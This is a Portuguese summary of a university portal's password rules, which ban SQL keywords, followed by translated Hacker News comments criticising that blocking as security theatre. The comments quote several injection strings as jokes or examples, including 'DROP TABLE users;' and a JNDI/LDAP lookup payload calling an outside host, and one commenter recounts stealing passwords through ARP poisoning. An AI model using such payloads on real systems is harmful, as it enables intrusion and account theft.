- A redefinição de senha no portal de ID da University of Ljubljana exige nome de usuário e a nova senha com confirmação, em uma estrutura pensada para reduzir erros de digitação no processo de recuperação da conta
- O nome de usuário tem um formato parecido com endereço de e-mail, e o exemplo apresentado é
js1234@student.uni-lj.si - A nova senha deve ter no mínimo 10 caracteres e não pode incluir informações pessoais fáceis de adivinhar, como nome ou sobrenome
- É preciso atender a pelo menos 3 critérios entre letra maiúscula, letra minúscula, número e símbolo
-_.+@ - Palavras como
select,insert,update,deleteedroptambém não podem ser usadas na senha, então é preciso verificar até padrões proibidos, não apenas o tamanho
Fluxo de entrada para redefinição de senha
- A tela é composta pelos campos Username, New password e New password confirmation
- Os três campos estão marcados como required
- O nome de usuário tem um formato parecido com endereço de e-mail
- O exemplo de nome de usuário para John Smith é
js1234@student.uni-lj.si
- O exemplo de nome de usuário para John Smith é
- A nova senha deve ser digitada duas vezes para reduzir erros de digitação
Regras da nova senha
- A nova senha é tratada como um meio de proteger a identidade digital do usuário
- Senhas fáceis de adivinhar devem ser evitadas
- Ex.: nome, sobrenome, nome do parceiro ou data de nascimento
- A senha deve ter no mínimo 10 caracteres
- Não pode incluir o nome ou sobrenome do usuário
- Deve atender a pelo menos 3 dos critérios abaixo
- Letras maiúsculas do alfabeto inglês
- Letras minúsculas do alfabeto inglês
- Números
- Símbolos:
-_.+@
Palavras que não podem ser usadas
- A senha não pode conter as seguintes palavras
selectinsertupdatedeletedrop
1 comentários
Comentários do Hacker News
Ah, essa string fui eu que coloquei. Foi um pedido da diretoria e até hoje não sei o motivo
Este site não armazena senhas; ele é mais uma interface bonitinha em volta de um sistema externo de gerenciamento de contas
Já ouvi rumores de que a validação do campo de login em alguns apps legados é estranha, e que alunos não conseguem fazer login com senhas contendo certas strings, mas não conheço nenhum caso real
DROP TABLE users;como senha. Aí fica fácil descobrir rapidinho qual fornecedor está lidando com senhas de forma absurdamente inseguraNesse caso, significaria que nem higienizam a entrada do usuário, nem fazem hash ou ocultam a senha, o que já é nível incômodo social
maxlengthdo campo do formulário de loginLevei um tempão para entender por que funcionava com o preenchimento automático do gerenciador de senhas, mas não ao digitar ou colar manualmente. Era porque o preenchimento automático ignorava o
maxlengthDisseram que não podia incluir
"script", mas quando eu tinha uns 12 ou 13 anos hackeei a grande plataforma social Nettby.noEles removiam todas as palavras proibidas, e
scriptestava entre elasO Nettby não tinha HTTPS, então eu roubava a senha de todo mundo com ataque man-in-the-middle via envenenamento ARP e assistia ao caos enquanto postava aleatoriedades nas contas das pessoas. Eu não espionava as conversas; até meu eu de 14 anos aparentemente tinha um mínimo de ética
Sei que isso vai receber muita crítica, mas pelo menos em alguns casos acho uma ideia aceitável
Dentro das organizações há muita gente criando código ruim e arquitetura de sistema ruim, e faltam pessoas com capacidade, autoridade e tempo para identificar isso e forçar mudanças
Nos EUA, muitas vezes não há escolha a não ser lidar com sites absurdamente mal programados, como os de instituições médicas regionais. Nesses casos, pode ser melhor presumir que a implementação é horrível, como costuma ser, e recomendar mitigação compatível com essa realidade
Se esses padrões de senha nominalmente proibidos são de fato aceitos, isso é algo que usuários podem testar facilmente e reportar ao órgão regulador, mas não é fácil verificar de fora se a implementação está correta
Não é elegante e é trágico, mas talvez seja melhor aceitar a realidade de que as coisas frequentemente são feitas de forma desastrosa e com pouca supervisão, e pensar em mitigação para evitar o pior resultado
Medidas de segurança assim muitas vezes encobrem problemas mais profundos. Em geral elas são colocadas porque a entrada do usuário não é tratada com cuidado, e a suposição de que bloquear algumas palavras-chave “neutraliza” vulnerabilidades em potencial normalmente é fácil de refutar. Basta ver os casos do eBay e do JSFuck
Odeio esse jeito de pensar. Web application firewalls (WAF), testes de intrusão preguiçosos e checkboxes de compliance criaram uma quantidade enorme de teatro de segurança, e tenho certeza de que fizeram empresas acreditar que é “seguro” e que “fizeram a devida diligência” ao expor parcialmente à internet pública softwares escritos de forma ridiculamente desastrosa
O resultado é eu receber pelo correio mais uma carta de desculpas dizendo que minhas informações mais sensíveis vazaram de uma empresa à qual praticamente não tive escolha senão entregar meus dados. Com certeza todos se importavam profundamente com meus dados, já que deixaram eles serem roubados por uma vulnerabilidade de uma biblioteca de serialização Java com décadas de idade
[1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
Isso pega mal para qualquer instituição, mas é ainda pior no caso de uma universidade, que deveria ser um reduto de pessoas competentes e com autoridade
Como conselho geral sobre senhas, seria até melhor que todo mundo colocasse essas palavras-chave na senha para revelar os bugs mais rápido. Não dá para deixar isso escondido até só um invasor acabar explorando
Deve-se aplicar hash com salt centenas de milhares de vezes e comparar com os valores de salt e hash armazenados em arquivo
Se alguém não consegue nem fazer isso, não deveria estar escrevendo software para armazenar credenciais. Falo sério. Segurança de software começa ao reconhecer que os dados são tóxicos e podem levar a empresa à falência se não forem tratados com respeito
Se você precisa se preocupar se o sistema vai colocar senhas em texto puro numa tabela de banco de dados, então há literalmente um milhão de outras coisas que também podem dar terrivelmente errado nesse sistema. Por exemplo, o que acontece quando o DBA copia e cola SQL do Stack Overflow
Se a organização tem engenheiros incompetentes, então não deixe que implementem um sistema próprio de autenticação; é melhor usar um framework open source amplamente adotado ou um produto comercial
Se o fluxo de autenticação faz qualquer coisa além de aplicar salt e hash à senha e descartar a senha original em texto puro, então esse sistema inteiro não deveria nem ser usado
Tudo bem. É só usar
truncateno lugarO mais engraçado nessa situação é que eles nem verificam todas as strings proibidas
Fonte: sou aluno dessa escola e testei por curiosidade
Em vez de tornar injeção de SQL totalmente impossível com procedures adequadas e outras técnicas, a ideia é apenas restringir algumas palavras-chave e torcer para que os hackers não pensem em algum truque de escape ou outro método que eles não imaginaram
Provavelmente vai funcionar por um tempo, até alguém provar que não funciona
Impedir que a entrada do usuário se misture com SQL não é mais ciência de foguetes. Não estamos em 2005
Se isso realmente funcionasse, significaria, para começo de conversa, que a senha está sendo armazenada sem hash, o que já era idiota até em 2005. Se fosse a mesma abordagem para nome de usuário ou outros campos de entrada, faria um pouco mais de sentido, mas senha nunca deveria entrar no banco de dados desse jeito
Alguém sugeriu campos separados por pipe, mas isso também foi rejeitado. O motivo foi algo como “no passado, alguns proxies de clientes rejeitavam cabeçalhos contendo o caractere pipe”
Programação voodoo nem sempre vem apenas de falta de diligência. Às vezes vem de situações em que você sabe que algo deu errado no passado, mas não tem evidência e também não tem como reagir
Pessoalmente, eu preferiria simplesmente colocar em produção e ver se quebra, e depois resolver com o cliente se necessário. Como isso obviamente não é um método popular por bons motivos, acabamos não usando o caractere pipe
Acho que os scripts CGI provavelmente também rodavam em taint mode. Lembra disso?
O SGBD pode oferecer suporte a funções de hash, então você poderia gravar algo como
UPDATE USERS SET PASSWORD = SHA2($PASSWORD). Nesse caso, continuaria vulnerável a injeção de SQL, mas não estaria armazenando a senha sem hashHá bons motivos para recomendar que o hash seja feito na camada da aplicação, mas se você estiver usando consultas parametrizadas corretamente, fazer isso no banco também não é algo tão horrível
Ufa, nunca vão me pegar. Minha senha é
${jndi:ldap://hunter2.com/totallylegit}Um domínio só pode conter caracteres ASCII
a-ze dígitos0-9, e asteriscos não são permitidos. O único símbolo permitido é o hífen, e ele não pode aparecer no começo nem no fimNuma leitura otimista, esse requisito pode ter vindo de um firewall de aplicação web (WAF) rígido demais
Outros comentários veem isso como uma “prova” de que a segurança da aplicação é ruim, mas eu não acho que dê para concluir tanto assim. Ainda assim, dá para concluir que alguma parte da stack foi implementada de forma péssima
Parece resquício de sistemas antigos. Já ouvi dizer que algumas universidades e bancos usam mainframes antigos para autenticação central
Em alguns casos, ouvi que as senhas eram armazenadas em texto puro, truncadas para 8 caracteres e só permitiam letras maiúsculas
O principal motivo para não atualizar esses sistemas, pelo menos pelo que ouvi, é custo e complexidade. Em vez de gastar
$$$$para atualizar um sistema em funcionamento, a ideia é gastar só$para restringir senhas e adicionar uma “segurança” básicaAlguns anos atrás, eu estava criando um app para publicar posts via API do WordPress. Os clientes tinham o WordPress instalado em vários ambientes de hospedagem diferentes, cada um com vários recursos de “segurança”
Recebemos um bug report dizendo que, ao publicar um post no blog, a operação falhava e subia conteúdo vazio; um desses plugins de segurança escaneava textos longos de blog e, se encontrasse algo como
.... select from, substituía aquele parâmetro POST por uma string vaziaTambém vi bug reports parecidos de clientes em que texto HTML dentro de um campo JSON de uma requisição enviada pelo nosso servidor vinha com JavaScript ofuscado injetado. Não dava para ter certeza se era um plugin de “segurança” ou malware
select, mas em geral como parte de nomes de parâmetros comoitemselect. Então fomos procurar se havia algum filtro tipo WAF em algum ponto da stackNo fim, encontramos uma configuração antiga deixada no servidor proxy desde antes de usarmos um WAF comercial, e essa configuração estava procurando por
SELECT.*UNIONQuando olhamos de novo para as URLs, todas também tinham parâmetros como
company=credit+union. Levei a mão ao rosto e removi aquele código; já havia proteção suficiente em outros lugares